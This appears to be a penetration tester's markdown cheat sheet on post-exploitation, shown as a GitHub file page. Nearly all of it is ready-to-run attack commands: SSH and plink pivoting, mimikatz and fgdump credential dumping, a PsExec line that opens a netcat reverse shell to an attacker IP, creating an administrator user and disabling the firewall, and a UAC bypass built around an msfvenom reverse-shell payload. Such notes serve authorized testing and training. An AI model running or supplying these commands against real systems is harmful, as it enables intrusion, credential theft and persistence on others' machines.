Skip to content

Latest commit

 

History

History
101 lines (83 loc) · 2.52 KB

post_exploitation.md

File metadata and controls

101 lines (83 loc) · 2.52 KB
Raw

Post Exploitation

Lateral movement

Local Port forwarding

Port forwarding rinetd

apt install rinetd
cat /etc/rinetd.conf

SSH local port forward

ssh -N -L <LOCAL PORT>:127.0.0.1:<TARGET PORT> <USERNAME>@<TARGET IP>

SSH port forwarding over hop

ssh -N -L <BIND_ADRESS>:<PORT>:<TARGET IP>:<TARGET PORT> <USERNAME>@<HOP IP>

Remote port forwarding

SSH forward local port of target back to our kali

ssh -N -R <BIND_ADRESS>:<PORT>:127.0.0.1:<TARGET PORT> <USERNAME>@<ATTACKER IP>

Dynamic port forwarding

sudo ssh -N -D 127.0.0.1:9000 <username>@<IP>
vim  /etc/proxychains.conf
socks4		127.0.0.1 9000 #Change this value
#prepend proxychains command before every command to send through the proxychain.

Port forwarding plink.exe

plink.exe <USER>@<IP> -R <ATTACKER PORT>:<TARGET IP>:<TARGET PORT>

Proxychains

Proxychains over hop

ssh -J <USER>@<FIRST HOP IP> -D 127.0.0.1:9000 <USER>@<SECOND IP>

Dumping credentials

Mimikatz.exe

Bring over mimikatz.exe using an SMB server.

mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords full"

Fgdump.exe

fgdump.exe
type .....pwdump

Misc

PSExec

Shell back to my machine with other user using netcat

PsExec.exe -u <COMPUTERNAME>\<USERNAME> -p <PASSWORD> \\<COMPUTERNAME> nc.exe <ATTACKER IP> <ATTACKER PORT> -e cmd.exe

Enable RDP and create user to login

#Enable RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

#Enable more then 1 user login
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

#Add user to RDP group
net user <USER> <PASS> /add /Y
net localgroup administrators <USER> /add
net localgroup "Remote Desktop Users" <USER> /add

#Disable firewall
netsh advfirewall set allprofiles state off

#RDP to machine
xfreerdp /u:<USER> /p:<PASS> /v:<TARGET>

UAC bypass

msfvenom -a x64 --platform Windows -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o shell.exe

wget https://raw.githubusercontent.com/turbo/zero2hero/master/main.c
#change
	GetCurrentDirectory(MAX_PATH, curPath);
	strcat(curPath, "\\shell.exe");

x86_64-w64-mingw32-gcc main.c -o bypassuac.exe

sudo nc -lnvp <PORT>